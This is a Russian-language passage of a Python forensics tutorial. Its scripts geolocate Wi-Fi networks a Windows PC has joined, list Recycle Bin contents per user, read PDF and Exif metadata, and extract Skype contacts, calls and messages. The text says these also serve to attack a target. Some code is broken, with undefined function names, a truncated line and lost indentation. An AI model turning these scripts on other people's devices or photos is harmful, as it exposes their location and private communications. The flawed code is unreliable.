В процессе работы с wigle.net быстро становится понятно, что нужно взаимодействовать с тремя отдельными страницами, чтобы получить результат от Wigle. Первым делом надо открыть начальную страницу wigle.net по адресу <http://wigle.net>; затем войти в Wigle по адресу <http://wigle.net/gps/gps/main/login>. И, наконец, запросить конкретный MAC-адрес беспроводного SSID на странице <http://wigle.net/gps/gps/main/confirmquery/>. Перехватив запрос MAC-адреса, мы увидим, что параметр **netid** содержит MAC-адрес в HTTP Post, который запрашивает местоположение GPS беспроводной точки доступа.

```
POST /gps/gps/main/confirmquery/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 33
Host: wigle.net
User-Agent: AppleWebKit/531.21.10
Connection: close
Content-Type: application/x-www-form-urlencoded
netid=0A%3A2C%3AEF%3A3D%3A25%3A1B
<..ПРОПУЩЕНО..>
```

Кроме того, мы видим, что ответ со страницы включает в себя координаты GPS. Строка **maplat=47.25264359&maplon=-87.25624084** содержит широту и долготу точки доступа.

```
<tr class="search"><td>
<a href="/gps/gps/Map/onlinemap2/?maplat=47.25264359&maplon=-
87.25624084&mapzoom=17&ssid=McDonald's FREE Wifi&netid=0A:2C:EF:3D:25:1B">Get Map</a></td>
<td>0A:2C:EF:3D:25:1B</td><td>McDonald's FREE Wifi</td></tr>
```

С этой информацией теперь мы можем создать простую функцию, которая будет возвращать координаты беспроводной точки доступа, полученные от базы данных Wigle. Обратите внимание на использование библиотеки **mechanize**. Доступная по адресу <http://wwwsearch.sourceforge.net/mechanize/>, эта библиотека позволяет выполнять веб-программирование с отслеживанием состояния на Python. Это означает, что как только мы корректно войдём в сервис Wigle, он сохранит и повторно использует для нас cookie-файл аутентификации.

Скрипт может показаться сложным, но давайте быстро пробежимся по нему вместе. Сначала создадим экземпляр браузера **mechanize**. Далее мы открываем начальную страницу wigle.net. Затем кодируем наше имя пользователя и пароль в качестве параметров и запрашиваем логин на странице входа в Wigle. После успешного входа в систему мы создаём HTTP post, используя параметр **netid** в качестве MAC-адреса для поиска в базе данных. Затем ищем результат нашего HTTP post по условиям **maplat=** и **maplon=** для получения координат широты и долготы. Найдя их, мы выводим эти координаты.

```
import mechanize, urllib, re, urlparse
def wiglePrint(username, password, netid):
    browser = mechanize.Browser()
    browser.open('http://wigle.net')
    reqData = urllib.urlencode({'credential_0': username,
                               'credential_1': password})
    browser.open('https://wigle.net/gps/gps/main/login', reqData)
    params = {}
    params['netid'] = netid
    reqParams = urllib.urlencode(params)
    respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
    resp = browser.open(respURL, reqParams).read()
    mapLat = 'N/A'
    mapLon = 'N/A'
    rLat = re.findall(r'maplat=.*\&', resp)
    if rLat:
        mapLat = rLat[0].split('&')[0].split('=')[1]
    rLon = re.findall(r'maplon=.*\&', resp)
    if rLon:
        mapLon = rLon[0].split
    print '[-] Lat: ' + mapLat + ', Lon: ' + mapLon
```

Добавив функционал MAC-адресов Wigle к нашему скрипту, мы теперь можем исследовать реестр на предмет ранее подключённых точек беспроводного доступа, и затем искать их физическое местоположение.

```
import os
import optparse
import mechanize
import urllib
import re
import urlparse
from _winreg import *

def val2addr(val):
    addr = ''
    for ch in val:
        addr += '%02x ' % ord(ch)
    addr = addr.strip(' ').replace(' ', ':')[0:17]
    return addr

def wiglePrint(username, password, netid):
    browser = mechanize.Browser()
    browser.open('http://wigle.net')
    reqData = urllib.urlencode({'credential_0': username,
                                'credential_1': password})
    browser.open('https://wigle.net/gps/gps/main/login', reqData)
    params = {}
    params['netid'] = netid
    reqParams = urllib.urlencode(params)
    respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
    resp = browser.open(respURL, reqParams).read()
    mapLat = 'N/A'
    mapLon = 'N/A'
    rLat = re.findall(r'maplat=.*\&', resp)
    if rLat:
        mapLat = rLat[0].split('&')[0].split('=')[1]
    rLon = re.findall(r'maplon=.*\&', resp)
    if rLon:
        mapLon = rLon[0].split('&')[0].split('=')[1]
    print '[-] Lat: ' + mapLat + ', Lon: ' + mapLon

def printNets(username, password):
    net = \
        "SOFTWARE\Microsoft\WindowsNT\CurrentVersion\NetworkList\Signatures\Unmanaged"
    key = OpenKey(HKEY_LOCAL_MACHINE, net)
    print '\n[*] Networks You have Joined.'
    for i in range(100):
        try:
            guid = EnumKey(key, i)
            netKey = OpenKey(key, str(guid))
            (n, addr, t) = EnumValue(netKey, 5)
            (n, name, t) = EnumValue(netKey, 4)
```



```

        macAddr = val2addr(addr)
        netName = str(name)
        print '[+] ' + netName + ' ' + macAddr
        wigglyPrint(username, password, macAddr)
        CloseKey(netKey)
    except:
        break
def main():
    parser = \
        optparse.OptionParser("usage%prog "+
            "-u <wiggly username> -p <wiggly password>"
        )
    parser.add_option('-u', dest='username', type='string',
        help='specify wiggly password')
    parser.add_option('-p', dest='password', type='string',
        help='specify wiggly username')
    (options, args) = parser.parse_args()
    username = options.username
    password = options.password
    if username == None or password == None:
        print parser.usage
        exit(0)
    else:
        printNets(username, password)
if __name__ == '__main__':
    main()

```

Запустив наш скрипт с новым функционалом, мы теперь видим ранее подключённые беспроводные сети и их физические местоположения. Зная, где побывал компьютер, давайте теперь в следующем разделе перетряхнём мусорную корзину.

```

C:\Users\investigator\Desktop\python discoverNetworks.py
[*] Networks You have Joined.
[+] Hooters_San_Pedro, 00:11:50:24:68:7F
[-] Lat: 29.55995369, Lon: -98.48358154
[+] LAX Airport, 00:30:65:03:e8:c6
[-] Lat: 28.04605293, Lon: -82.60256195
[+] Senate_public_wifi, 00:0b:85:23:23:3e
[-] Lat: 44.95574570, Lon: -93.10277557

```

## Использование python для восстановления удалённых файлов в корзине

В операционных системах Microsoft корзина служит в качестве специальной папки, содержащей удалённые файлы. Когда пользователь удаляет файлы через проводник

Windows, операционная система помещает файлы в эту специальную папку, помечая их для удаления, но не удаляя их. В Windows 98 и более ранних системах с файловой системой FAT каталог C:\Recycled\ содержит каталог корзины. Операционные системы, поддерживающие NTFS, включая Windows NT, 2000 и XP, хранят корзину в каталоге C:\Recycler\. Windows Vista и 7 хранят каталог в C:\\$Recycle.Bin.

## Использование модуля os для поиска удалённых элементов

Чтобы обеспечить нашему скрипту независимость от операционной системы, давайте напишем функцию для проверки каждого из возможных каталогов-кандидатов и вывода первого, который существует в системе.

```
import os
def returnDir():
    dirs=['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\\']
    for recycleDir in dirs:
        if os.path.isdir(recycleDir):
            return recycleDir
    return None
```

После обнаружения каталога корзины нам понадобится проверить его содержимое. Обратите внимание на два подкаталога. Они оба содержат строку **S-1-5-21-1275210071-1715567821-725345543-** и оканчиваются на **1005** или **500**. Эта строка представляет SID пользователя, соответствующий его уникальной учётной записи в машине.

```
C:\RECYCLER>dir /a
Volume in drive C has no label.
Volume Serial Number is 882A-6E93
Directory of C:\RECYCLER
04/12/2011 09:24 AM    <DIR>        .
04/12/2011 09:24 AM    <DIR>        ..
04/12/2011 09:56 AM    <DIR>        S-1-5-21-1275210071-1715567821-725345543-1005
04/12/2011 09:20 AM    <DIR>        S-1-5-21-1275210071-1715567821-725345543-500
0 File(s) 0 bytes
4 Dir(s) 30,700,670,976 bytes free
```

## Соотносим SID с пользователем

Мы задействуем реестр Windows для перевода этого SID в точное имя пользователя. Обследуя раздел реестра Windows HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\<SID>\ProfileImagePath, мы видим, что он возвращает значение %SystemDrive%\Documents and Settings\<USERID>. На следующем отрывке кода мы видим, что это позволяет нам перевести SID **S-1-5-21-1275210071-1715567821-725345543-1005** непосредственно в имя пользователя «alex».

```
C:\RECYCLER>reg query
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-
1275210071-1715567821-725345543-1005" /v ProfileImagePath
! REG.EXE VERSION 3.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList \S-1-5-21-1275210071-1715567821-725345543-1005
ProfileImagePath
REG_EXPAND_SZ %SystemDrive%\Documents and Settings\alex
```

Поскольку нам нужно знать, кто и какие файлы удалил в корзину, давайте напишем небольшую функцию для преобразования каждого SID в имя пользователя. Это позволит нам получить более содержательный вывод данных, когда мы восстановим удалённые элементы в корзине. Эта функция откроет реестр для исследования раздела **ProfileImagePath**, найдёт значение и выведет имя, расположенное после последнего обратного слэша на пути пользователя.

```
from _winreg import *
def sid2user(sid):
    try:
        key = OpenKey(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList" + '\\ ' + sid)
        (value, type) = QueryValueEx(key, 'ProfileImagePath')
        user = value.split('\\')[-1]
        return user
    except:
        return sid
```

Наконец, мы соберём вместе весь наш код, чтобы создать скрипт, который будет печатать удалённые файлы, всё ещё находящиеся в корзине.

```
import os
import optparse
from _winreg import *
def sid2user(sid):
    try:
        key = OpenKey(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList" + '\\ ' + sid)
        (value, type) = QueryValueEx(key, 'ProfileImagePath')
        user = value.split('\\')[-1]
        return user
    except:
        return sid
def returnDir():
    dirs=['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\\']
    for recycleDir in dirs:
        if os.path.isdir(recycleDir):
```

```

        return recycleDir
    return None
def findRecycled(recycleDir):
    dirList = os.listdir(recycleDir)
    for sid in dirList:
        files = os.listdir(recycleDir + sid)
        user = sid2user(sid)
        print '\n[*] Listing Files For User: ' + str(user)
        for file in files:
            print '[+] Found File: ' + str(file)
def main():
    recycledDir = returnDir()
    findRecycled(recycledDir)
if __name__ == '__main__':
    main()

```

Запустив наш код на цели, мы видим, что скрипт обнаруживает двух пользователей: alex и Administrator. Он перечисляет файлы, содержащиеся в корзине каждого пользователя. В следующем разделе мы рассмотрим метод проверки части содержимого этих файлов, которое может оказаться полезным при расследовании.

```

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>python dumpRecycleBin.py
[*] Listing Files For User: alex
[+] Found File: Notes_on_removing_MetaData.pdf
[+] Found File: ANONOPS_The_Press_Release.pdf
[*] Listing Files For User: Administrator
[+] Found File: 192.168.13.1-router-config.txt
[+] Found File: Room_Combinations.xls
C:\Documents and Settings\john\Desktop>

```

## Метаданные

В этом разделе мы напишем несколько скриптов для извлечения метаданных некоторых файлов. Метаданные могут существовать в документах, электронных таблицах, изображениях, аудио- и видеофайлах. Информация об авторе может хранить такие данные, как автора(ов) файла, время создания и модификации, возможные изменения и комментарии. Например, телефон с камерой может запечатлеть местоположение фотографии в формате GPS, или приложение Microsoft Word может сохранить имя автора документа Word. Хотя проверка каждого отдельного файла кажется трудной задачей, мы можем автоматизировать её с помощью Python.

## Использование PyPDF для анализа метаданных PDF

Давайте применим Python и быстро воссоздадим судебное расследование по документу, который сыграл важную роль в аресте члена хакерской группы Anonymous. Wired.com по-прежнему отображает этот документ, ANONOPS\_The\_Press\_Release.pdf. Мы можем начать с его загрузки при помощи утилиты **wget**.

```
forensic:!# wget
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_Press_Release.pdf
--2012-01-19 11:43:36--
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_Press_Release.pdf
Resolving www.wired.com... 64.145.92.35, 64.145.92.34
Connecting to www.wired.com|64.145.92.35|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 70214 (69K) [application/pdf]
Saving to: 'ANONOPS_The_Press_Release.pdf.1'
100%[=====>]
70,214 364K/s in 0.2s
2012-01-19 11:43:39 (364 KB/s) - 'ANONOPS_The_Press_Release.pdf' saved [70214/70214]
```

### ФРОНТОВЫЕ СВОДКИ

#### Провал Anonymous из-за метаданных

10 декабря 2010 года хакерская группа Anonymous опубликовала пресс-релиз, в котором были изложены мотивы недавней атаки под названием Operation Payback (Prefect, 2010). Разгневавшись на компании, которые отказались от поддержки веб-сайта WikiLeaks, Anonymous призвали к «возмездия» путём DDoS-атаки против некоторых из них. Хакер группы разместил пресс-релиз без подписи и без указания авторства. Распространённый в виде файла формата Portable Document Format (PDF), пресс-релиз содержал метаданные. В дополнение к программе, использованной для создания документа, в метаданных PDF содержалось имя автора, г-на Алекса Тапанариса. Через несколько дней греческая полиция арестовала г-на Тапанариса (Leyden, 2010).

**PYPDF** — отличная сторонняя утилита для управления PDF-документами, которую можно загрузить с <http://pybrary.net/pyPdf/>. Она позволяет извлекать информацию о документе, разделять, объединять, обрезать, шифровать и дешифровать документы. Чтобы извлечь метаданные, мы используем метод **.getDocumentInfo()**. Этот метод выводит массив наборов данных. Каждый набор содержит описание элемента метаданных и его значение. Циклическое прохождение по этому массиву выведет все метаданные PDF-документа.

```
import pyPdf
from pyPdf import PdfFileReader
def printMeta(fileName):
    pdfFile = PdfFileReader(file(fileName, 'rb'))
    docInfo = pdfFile.getDocumentInfo()
    print '[*] PDF MetaData For: ' + str(fileName)
    for metaItem in docInfo:
        print '[+] ' + metaItem + ':' + docInfo[metaItem]
```

Добавив анализатор для идентификации конкретного файла, мы получаем инструмент, который может идентифицировать метаданные, встроенные в документ PDF. Точно так же мы можем изменить наш скрипт для проверки определённых метаданных – например, о конкретном пользователе. Конечно же, это могло помочь сотрудникам греческих правоохранительных органов в поиске файлов, где Алекс Тапанарис указан как автор.

```
import pyPdf
import optparse
from pyPdf import PdfFileReader
def printMeta(fileName):
    pdfFile = PdfFileReader(file(fileName, 'rb'))
    docInfo = pdfFile.getDocumentInfo()
    print '[*] PDF MetaData For: ' + str(fileName)
    for metaItem in docInfo:
        print '[+] ' + metaItem + ':' + docInfo[metaItem]
def main():
    parser = optparse.OptionParser('usage %prog "+\
    "-F <PDF file name>')
    parser.add_option('-F', dest='fileName', type='string',\
        help='specify PDF file name')
    (options, args) = parser.parse_args()
    fileName = options.fileName
    if fileName == None:
        print parser.usage
        exit(0)
    else:
        printMeta(fileName)
if __name__ == '__main__':
    main()
```

Запустив наш скрипт **pdfReader** на пресс-релиз Anonymous, мы видим те же самые метаданные, которые помогли греческим властям арестовать г-на Тапанариса.

```
forensic:#!/usr/bin/python pdfRead.py -F ANONOPS_The_Press_Release.pdf
[*] PDF MetaData For: ANONOPS_The_Press_Release.pdf
[+] /Author:Alex Tapanaris
[+] /Producer:OpenOffice.org 3.2
```

## Разбираем метаданные Exif

Стандарт формата файла обмена изображениями (Exif) определяет спецификации для хранения изображений и аудиофайлов. Такие устройства, как цифровые камеры, смартфоны и сканеры, используют этот стандарт для сохранения аудиофайлов или файлов изображений. Стандарт Exif содержит несколько полезных для судебных расследований тегов. Фил Харви написал инструмент, метко названный **exiftool** (доступен по адресу <http://www.sno.phy.queensu.ca/~phil/exiftool/>), который может анализировать эти теги. Исследование всех тегов Exif на фотографии может «вылиться» в несколько страниц информации, поэтому давайте рассмотрим урезанную версию некоторых информационных тегов. Обратите внимание, что теги Exif содержат название модели камеры *iPhone 4S*, а также GPS-координаты места, где было сделано изображение. Такая информация может оказаться полезной при упорядочивании изображений. Например, приложение iPhoto для Mac OS X использует информацию о местоположении, чтобы аккуратно расположить фотографии на карте мира. Однако эта информация также несёт в себе множество возможностей для злоумышленников. Представьте себе солдата, размещающего фотографии с тегами Exif в блоге или на веб-сайте: противник может загрузить целые наборы фотографий и узнать все движения этого солдата за считанные секунды. В следующем разделе мы создадим скрипт для подключения к веб-сайту, загрузим все изображения на сайт, а затем проверим их на наличие метаданных Exif.

```
investigator$ exiftool photo.JPG
ExifTool Version Number      : 8.76
File Name                    : photo.JPG
Directory                    : /home/investigator/photo.JPG
File Size                    : 1626 kB
File Modification Date/Time  : 2012:02:01 08:25:37-07:00
File Permissions             : rw-r--r--
File Type                    : JPEG
MIME Type                    : image/jpeg
Exif Byte Order              : Big-endian (Motorola, MM)
Make                         : Apple
Camera Model Name            : iPhone 4S
Orientation                  : Rotate 90 CW
<..ПРОПУЩЕНО..>
GPS Altitude                 : 10 m Above Sea Level
GPS Latitude                 : 89 deg 59' 59.97" N
GPS Longitude                : 36 deg 26' 58.57" W
<..ПРОПУЩЕНО..>
```

## Загрузка изображений с помощью BeautifulSoup

Программа BeautifulSoup, доступная по адресу <http://www.crummy.com/software/BeautifulSoup/>, позволяет быстро анализировать документы HTML и XML. Леонард Ричардсон выпустил последнюю версию BeautifulSoup 29 мая 2012 года. Чтобы обновить её до последней версии в Backtrack, используйте `easy_install` для загрузки и установки библиотеки `beautifulsoup4`.

```
investigator:#!# easy_install beautifulsoup4
Searching for beautifulsoup4
Reading http://pypi.python.org/simple/beautifulsoup4/
<..ПРОПУЩЕНО..>
Installed /usr/local/lib/python2.6/dist-packages/beautifulsoup4-4.1.0-py2.6.egg
Processing dependencies for beautifulsoup4
Finished processing dependencies for beautifulsoup4
```

В этом разделе мы будем использовать BeautifulSoup для сканирования HTML-документа на предмет всех изображений в документе. Обратите внимание, что для открытия и чтения содержимого документа мы используем библиотеку `urllib2`. Далее мы можем создать объект BeautifulSoup или древо парсинга, содержащее различные объекты документа HTML. В этом объекте мы извлечём все теги изображений, выполнив поиск с использованием метода `.findAll('img')`. Этот метод выводит массив всех тегов изображений.

```
import urllib2
from bs4 import BeautifulSoup
def findImages(url):
    print '[+] Finding images on ' + url
    urlContent = urllib2.urlopen(url).read()
    soup = BeautifulSoup(urlContent)
    imgTags = soup.findAll('img')
    return imgTags
```

Далее нам нужно скачать все изображения с сайта, чтобы изучить их с помощью отдельной функции. Для загрузки изображения мы будем использовать функционал, включённый в библиотеки `urllib2`, `urlparse` и `os`. Сначала мы извлечём адрес источника из тега изображения. Далее мы считаем двоичное содержимое изображения и примем его как переменную. Наконец, мы откроем файл в режиме записи в двоичном формате и запишем содержимое изображения в файл.

```
import urllib2
from urlparse import urlsplit
from os.path import basename
def downloadImage(imgTag):
    try:
```



```

print '[+] Downloading image...'
imgSrc = imgTag['src']
imgContent = urllib2.urlopen(imgSrc).read()
imgFileName = basename(urlsplit(imgSrc)[2])
imgFile = open(imgFileName, 'wb')
imgFile.write(imgContent)
imgFile.close()
return imgFileName
except:
    return ''

```

## Считывание метаданных Exif из изображений с помощью библиотеки изображений Python (PIL)

Чтобы проверить содержимое файла изображения на метаданные Exif, мы обработаем файл с помощью библиотеки изображений Python (Python Imaging Library, **PIL**). Доступная по адресу <http://www.pythonware.com/products/pil/>, **PIL** добавляет возможности обработки изображений в язык Python и позволяет нам быстро извлекать метаданные, связанные с информацией о географическом местоположении. Чтобы проверить файл на наличие метаданных, мы откроем объект как изображение PIL и применим метод `_getexif()`. Далее мы переведем данные Exif в массив, проиндексированный по типу метаданных. Когда массив будет заполнен, мы сможем выполнить в нём поиск, чтобы выяснить, содержит ли он тег Exif для **GPSInfo**. Если он содержит тег **GPSInfo** — тогда мы точно знаем, что в объекте есть метаданные GPS, и можем вывести сообщение на экран.

```

def testForExif(imgFileName):
    try:
        exifData = {}
        imgFile = Image.open(imgFileName)
        info = imgFile._getexif()
        if info:
            for (tag, value) in info.items():
                decoded = TAGS.get(tag, tag)
                exifData[decoded] = value
            exifGPS = exifData['GPSInfo']
            if exifGPS:
                print '[*] ' + imgFileName + \
                    ' contains GPS MetaData'
    except:
        pass

```

В итоге наш скрипт теперь может подключаться к URL-адресу, анализировать и загружать все файлы изображений и проверять каждый файл на наличие метаданных Exif. Обратите внимание, что в основной функции мы сначала получаем список всех изображений на сайте.

Затем для каждого изображения в массиве мы загружаем файл и проверяем его на метаданные GPS.

```
import urllib2
import optparse
from urlparse import urlsplit
from os.path import basename
from bs4 import BeautifulSoup
from PIL import Image
from PIL.ExifTags import TAGS

def findImages(url):
    print '[+] Finding images on ' + url
    urlContent = urllib2.urlopen(url).read()
    soup = BeautifulSoup(urlContent)
    imgTags = soup.findAll('img')
    return imgTags

def downloadImage(imgTag):
    try:
        print '[+] Dowloading image...'
        imgSrc = imgTag['src']
        imgContent = urllib2.urlopen(imgSrc).read()
        imgFileName = basename(urlsplit(imgSrc)[2])
        imgFile = open(imgFileName, 'wb')
        imgFile.write(imgContent)
        imgFile.close()
        return imgFileName
    except:
        return ''

def testForExif(imgFileName):
    try:
        exifData = {}
        imgFile = Image.open(imgFileName)
        info = imgFile._getexif()
        if info:
            for (tag, value) in info.items():
                decoded = TAGS.get(tag, tag)
                exifData[decoded] = value
            exifGPS = exifData['GPSInfo']
            if exifGPS:
                print '[*] ' + imgFileName + \ ' contains GPS MetaData'
    except:
        pass

def main():
    parser = optparse.OptionParser('usage%prog "+\
    "-u <target url>')
    parser.add_option('-u', dest='url', type='string',
        help='specify url address')
    (options, args) = parser.parse_args()
```

```

url = options.url
if url == None:
    print parser.usage
    exit(0)
else:
    imgTags = findImages(url)
    for imgTag in imgTags:
        imgFileName = downloadImage(imgTag)
        testForExif(imgFileName)
if __name__ == '__main__':
    main()

```

Тестируя вновь созданный скрипт на целевом адресе, мы видим, что одно из изображений содержит информацию метаданных GPS. Хотя это может использоваться для атаки на отдельных лиц, мы также можем использовать скрипт совершенно безобидно – для выявления наших собственных уязвимостей перед злоумышленниками.

```

forensics: # python exifFetch.py -u http://www.flickr.com/photos/dvids/4999001925/sizes/o
[+] Finding images on http://www.flickr.com/photos/dvids/4999001925/sizes/o
[+] Downloading image...
[+] Downloading image...
[+] Downloading image...
[+] Downloading image...
[+] Downloading image...
[*] 4999001925_ab6da92710_o.jpg contains GPS MetaData
[+] Downloading image...
[+] Downloading image...
[+] Downloading image...
[+] Downloading image...

```

## Исследование артефактов приложений с помощью python

В этом разделе мы рассмотрим артефакты приложений, а именно данные, хранящиеся в базах данных SQLite с помощью двух популярных приложений. База данных SQLite – это популярный выбор для локальных/клиентских хранилищ в нескольких различных приложениях, особенно в веб-браузерах, благодаря привязкам, не зависящим от языка программирования. В отличие от баз данных, которые поддерживают отношения клиент-сервер, SQLite хранит всю базу данных в виде одного простого файла на хосте. Изначально созданные доктором Ричардом Хиппом для его работы с ВМС США, базы данных SQLite продолжают широко использоваться во многих популярных приложениях. Приложения, созданные Apple, Mozilla, Google, McAfee, Microsoft, Intuit, General Electrics, DropBox, Adobe и даже Airbus, используют формат базы данных SQLite (SQLite, 2012). Понимание того, как

анализировать базы данных SQLite, и автоматизация процесса с помощью Python неоценимы при проведении судебных расследований. Следующий раздел начинается с изучения формата базы данных SQLite, используемого в Skype для передачи голоса по IP.

## Разбираемся с базой данных Sqlite3 в Skype

Начиная с версии 4.0 популярный мессенджер Skype изменил формат своей внутренней базы данных на SQLite (Kosi2801., 2009). В Windows Skype хранит базу данных под именем *main.db* в каталоге C:\Documents and Settings\<User>\ApplicationData\Skype\<Skype-account>. В MAC OS X эта же база данных располагается в папке cd /Users/<User>/Library/Application/Support/Skype/<Skypeaccount>. Но что же хранит в этой базе данных приложение Skype? Чтобы лучше понять информационную схему базы данных Skype SQLite, давайте быстро подключимся к базе данных с помощью инструмента командной строки sqlite3. После подключения мы выполняем следующую команду:

```
SELECT tbl_name FROM sqlite_master WHERE type=="table"
```

База данных SQLite поддерживает таблицу с именем **sqlite\_master**; в этой таблице есть столбец с именем **tbl\_name**, который описывает каждую из таблиц в базе данных. Выполнение этого оператора **SELECT** покажет нам таблицы в базе данных Skype *main.db*. Теперь мы можем увидеть, что в этой базе данных содержатся таблицы с информацией о контактах, вызовах, учётных записях, сообщениях и даже SMS-сообщениях.

```
investigator$ sqlite3 main.db
SQLite version 3.7.9 2011-11-01 00:52:41
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> SELECT tbl_name FROM sqlite_master WHERE type=="table";
DbMeta
Contacts
LegacyMessages
Calls
Accounts
Transfers
Voicemails
Chats
Messages
ContactGroups
Videos
SMSes
CallMembers
ChatMembers
Alerts
Conversations
Participants
```

Таблица *Accounts* содержит информацию об учётной записи Skype, используемой приложением. Она содержит столбцы с информацией об имени пользователя, имени профиля Skype, местонахождении пользователя и дате создания учётной записи. Чтобы запросить эту информацию, мы можем создать инструкцию SQL, которая применяет инструкцию **SELECT** к этим столбцам. Обратите внимание, что база данных хранит дату в формате unixepoch и требует преобразования в более удобный для пользователя формат. Данный формат обеспечивает простое измерение времени. Он записывает дату в виде простого целого числа, представляющего количество секунд, прошедших с 1 января 1970 года. Метод **datetime()** в SQL может преобразовать это значение в легко читаемый формат.

```
sqlite> SELECT fullname, skypeusername, city, country, datetime(profile_timestamp,'unixepoch')
FROM accounts;
TJ OConnor|<accountname>|New York|us|22010-01-17 16:28:18
```

## Использование Python и Sqlite3 для автоматизации запросов к базе данных Skype

Хотя подключение к базе данных и выполнение инструкции **SELECT** оказывается достаточно простым, мы хотели бы иметь возможность автоматизировать этот процесс и получать дополнительную информацию из нескольких различных столбцов и таблиц в базе данных. Давайте напишем небольшую программу на Python, которая использует для этого библиотеку **sqlite3**. Обратите внимание на нашу функцию **printProfile()**. Она создаёт соединение с базой данных *main.db*. После создания соединения она запрашивает разрешение на управление курсором и выполняет наш предыдущий оператор **SELECT**. Результат оператора **SELECT** возвращает нам группу массивов. Каждый возвращаемый результат содержит проиндексированные столбцы для пользователя, имени пользователя в Скайпе, местоположения и даты профиля. Мы интерпретируем эти результаты, и затем просто выводим их на экран.

```
import sqlite3
def printProfile(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT fullname, skypeusername, city, country, \
datetime(profile_timestamp,'unixepoch') FROM Accounts;")
    for row in c:
        print '[*] -- Found Account --'
        print '[+] User: '+str(row[0])
        print '[+] Skype Username: '+str(row[1])
        print '[+] Location: '+str(row[2])+','+str(row[3])
        print '[+] Profile Date: '+str(row[4])
def main():
    skypeDB = "main.db"
```

```
printProfile(skypeDB)
if __name__ == "__main__":
    main()
```

Запустив выходные данные `printProfile.py`, мы видим, что база данных Skype *main.db* содержит одну учётную запись пользователя. Из соображений конфиденциальности мы заменили действительное имя учётной записи на <accountname>.

```
investigator$ python printProfile.py
[*] -- Found Account --
[+] User           : TJ OConnor
[+] Skype Username : <accountname>
[+] Location       : New York, NY,us
[+] Profile Date   : 2010-01-17 16:28:18
```

Давайте продолжим исследовать базу данных Skype, обратив наше внимание на сохранённые адреса контактов. Обратите внимание, что в таблице *Contacts* содержатся отображаемое имя, имя пользователя Skype, местоположение, мобильный телефон и даже день рождения для каждого контакта, хранящегося в базе данных. Вся эта информация, позволяющая установить личность, может оказаться полезной, когда мы исследуем или атакуем цель – поэтому её стоит также обработать. Мы выведем информацию, которую возвращает наш оператор **SELECT**. Обратите внимание, что некоторые из этих полей, такие как birthday (день рождения), могут оказаться нулевыми. В таких случаях мы используем условный оператор **IF** для вывода только тех результатов, которые не равны “None”.

```
def printContacts(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT displayname, skypeusername, city, country,\
        phone_mobile, birthday FROM Contacts;")
    for row in c:
        print '\n[*] -- Found Contact --'
        print '[+] User           : ' + str(row[0])
        print '[+] Skype Username : ' + str(row[1])
        if str(row[2]) != '' and str(row[2]) != 'None':
            print '[+] Location       : ' + str(row[2]) + ', ' \
                + str(row[3])
        if str(row[4]) != 'None':
            print '[+] Mobile Number   : ' + str(row[4])
        if str(row[5]) != 'None':
            print '[+] Birthday       : ' + str(row[5])
```

Пока что мы рассмотрели только извлечение определённых столбцов из определённых таблиц. Однако что делать, если две таблицы содержат информацию, которую мы хотим получить одновременно? В этом случае нам нужно будет объединить таблицы базы данных

со значениями идентифицирующими неужные результаты. Чтобы понять этот пассаж, давайте рассмотрим, как выдернуть из базы данных журнал вызовов. Чтобы сделать это, нам понадобится использовать как таблицу *Calls*, так и таблицу *Conversations*. Таблица *Calls* поддерживает временную метку вызова и индексирует каждый вызов с помощью столбца под именем **conv\_dbid**. Таблица *Conversations* поддерживает идентичность абонентов и индексирует каждый вызов, затрагивающий столбец с именем **id**. Таким образом, чтобы объединить обе таблицы, нам нужно выполнить инструкцию **SELECT** с условием **WHERE calls.conv\_dbid = conversations.id**. Результатом работы этого оператора станут результаты, содержащие время и идентификаторы всех вызовов Skype, выполненных и сохранённых в базе данных Skype целевого объекта.

```
def printCallLog(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT datetime(begin_timestamp,'unixepoch'), \
identity FROM calls, conversations WHERE \
calls.conv_dbid = conversations.id;"
    )
    print '\n[*] -- Found Calls --'
    for row in c:
        print '[+] Time: '+str(row[0])+\'
        ' | Partner: '+str(row[1])
```

Теперь добавим ещё одну функцию в наш скрипт. Довольно полезная для расследований, база данных профилей Skype фактически содержит все сообщения, отправленные и полученные пользователем по умолчанию. База данных хранит их в таблице под именем *Messages*. Из этой таблицы мы получим (с помощью **SELECT**) **timestamp**, **dialog\_partner**, **author** и **body\_xml** (необработанный текст сообщения). Обратите внимание, что если **author** отличается от **dialog\_partner**, то сообщение было написано именно нашей целью. В противном случае (если **author** совпадает с **dialog\_partner**) то сообщение было написано **dialog\_partner**.

```
def printMessages(skypeDB):
    conn = sqlite3.connect(skypeDB)
    c = conn.cursor()
    c.execute("SELECT datetime(timestamp,'unixepoch'), \
dialog_partner, author, body_xml FROM Messages;")
    print '\n[*] -- Found Messages --'
    for row in c:
        try:
            if 'partlist' not in str(row[3]):
                if str(row[1]) != str(row[2]):
                    msgDirection = 'To ' + str(row[1]) + ': '
        else:
```

```

        msgDirection = 'From ' + str(row[2]) + ': '
        print 'Time: ' + str(row[0]) + ' ' \
            + msgDirection + str(row[3])
    except:
        pass

```

